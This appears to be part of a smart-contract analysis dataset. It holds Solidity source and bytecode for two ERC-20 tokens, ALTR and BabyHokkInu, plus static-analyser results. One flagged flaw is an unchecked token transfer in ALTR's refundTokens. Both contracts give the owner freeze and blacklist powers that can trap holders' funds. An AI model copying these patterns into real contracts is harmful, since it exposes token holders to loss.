7684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,585 |
0xbe84ddf66ec9c24f3ba9ce9faf7a1281975cb343
|
pragma solidity ^0.4.25;
/*
* Creator: ALTR (Alts Trade)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Alts Trade smart contract.
*/
contract ALTRToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Alts Trade";
string constant public symbol = "ALTR";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105fc565b3480156102d957600080fd5b5061010b610715565b3480156102ee57600080fd5b506101a4600160a060020a036004351660243561074c565b34801561031257600080fd5b506101ee600160a060020a036004358116906024351661078d565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b8565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600a81527f416c747320547261646500000000000000000000000000000000000000000000602082015281565b60006103f2338461078d565b15806103fc575081155b151561040757600080fd5b6104118383610849565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108af565b90505b9392505050565b601281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105f45761056b6c01431e0fae6d7217caa0000000600454610a4e565b82111561057a5750600061052a565b336000908152602081905260409020546105949083610a60565b336000908152602081905260409020556004546105b19083610a60565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061657600080fd5b600160a060020a03841630141561062c57600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069957600080fd5b505af11580156106ad573d6000803e3d6000fd5b505050506040513d60208110156106c357600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600481527f414c545200000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076957600080fd5b60055460ff161561077c57506000610414565b6107868383610a6f565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107cf57600080fd5b33600160a060020a03831614156107e557600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c657600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f9575060006104ad565b600160a060020a038416600090815260208190526040902054821115610921575060006104ad565b600082118015610943575082600160a060020a031684600160a060020a031614155b156109f957600160a060020a03841660009081526001602090815260408083203384529091529020546109769083610a4e565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109b09083610a4e565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109df9083610a60565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5a57fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8657600080fd5b33600090815260208190526040902054821115610aa557506000610414565b600082118015610abe575033600160a060020a03841614155b15610b235733600090815260208190526040902054610add9083610a4e565b3360009081526020819052604080822092909255600160a060020a03851681522054610b099083610a60565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a723058203d865fddc890329a87b4d8765a9cf6efa1472ee2ed371fb2528cd606d3205a060029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,586 |
0x9cb467097156ca59ed2fb2df14cbb5d782cd7073
|
/**
*
*
───────────────────────────────────────────────────────────────────────────────────────────────────
─██████████████───██████████████───██████──██████─██████████████─██████──████████─██████──████████─
─██░░░░░░░░░░██───██░░░░░░░░░░██───██░░██──██░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░██──██░░░░██─
─██░░██████░░██───██░░██████░░██───██░░██──██░░██─██░░██████░░██─██░░██──██░░████─██░░██──██░░████─
─██░░██──██░░██───██░░██──██░░██───██░░██──██░░██─██░░██──██░░██─██░░██──██░░██───██░░██──██░░██───
─██░░██████░░████─██░░██████░░████─██░░██████░░██─██░░██──██░░██─██░░██████░░██───██░░██████░░██───
─██░░░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░██───██░░░░░░░░░░██───
─██░░████████░░██─██░░████████░░██─██░░██████░░██─██░░██──██░░██─██░░██████░░██───██░░██████░░██───
─██░░██────██░░██─██░░██────██░░██─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██───██░░██──██░░██───
─██░░████████░░██─██░░████████░░██─██░░██──██░░██─██░░██████░░██─██░░██──██░░████─██░░██──██░░████─
─██░░░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░██─██░░██──██░░░░██─██░░██──██░░░░██─
─████████████████─████████████████─██████──██████─██████████████─██████──████████─██████──████████─
───────────────────────────────────────────────────────────────────────────────────────────────────
http://t.me/BabyHokkInu
http://babyhokkinu.com
https://reddit.com/r/BabyHokkInu/
https://twitter.com/BabyHokkInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyHokkInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyHokkInu";
string private constant _symbol = "BBHOKK";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063c3c8cd8014610314578063c9567bf914610329578063d543dbeb1461033e578063dd62ed3e1461035e57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a42616279486f6b6b496e7560a81b60208201525b60405161015691906119f2565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611883565b6103a4565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d0366004611843565b6103bb565b3480156101e157600080fd5b506101f56101f03660046117d3565b610424565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e366004611975565b610478565b34801561023f57600080fd5b506101f56104c0565b34801561025457600080fd5b506101a76102633660046117d3565b6104ed565b34801561027457600080fd5b506101f561050f565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b506040805180820190915260068152654242484f4b4b60d01b6020820152610149565b3480156102e057600080fd5b5061017f6102ef366004611883565b610583565b34801561030057600080fd5b506101f561030f3660046118ae565b610590565b34801561032057600080fd5b506101f5610634565b34801561033557600080fd5b506101f561066a565b34801561034a57600080fd5b506101f56103593660046119ad565b610a2d565b34801561036a57600080fd5b506101a761037936600461180b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b1338484610b00565b5060015b92915050565b60006103c8848484610c24565b61041a843361041585604051806060016040528060288152602001611bc3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611036565b610b00565b5060019392505050565b6000546001600160a01b031633146104575760405162461bcd60e51b815260040161044e90611a45565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a25760405162461bcd60e51b815260040161044e90611a45565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e057600080fd5b476104ea81611070565b50565b6001600160a01b0381166000908152600260205260408120546103b5906110f5565b6000546001600160a01b031633146105395760405162461bcd60e51b815260040161044e90611a45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b1338484610c24565b6000546001600160a01b031633146105ba5760405162461bcd60e51b815260040161044e90611a45565b60005b8151811015610630576001600a60008484815181106105ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611b58565b9150506105bd565b5050565b600c546001600160a01b0316336001600160a01b031614610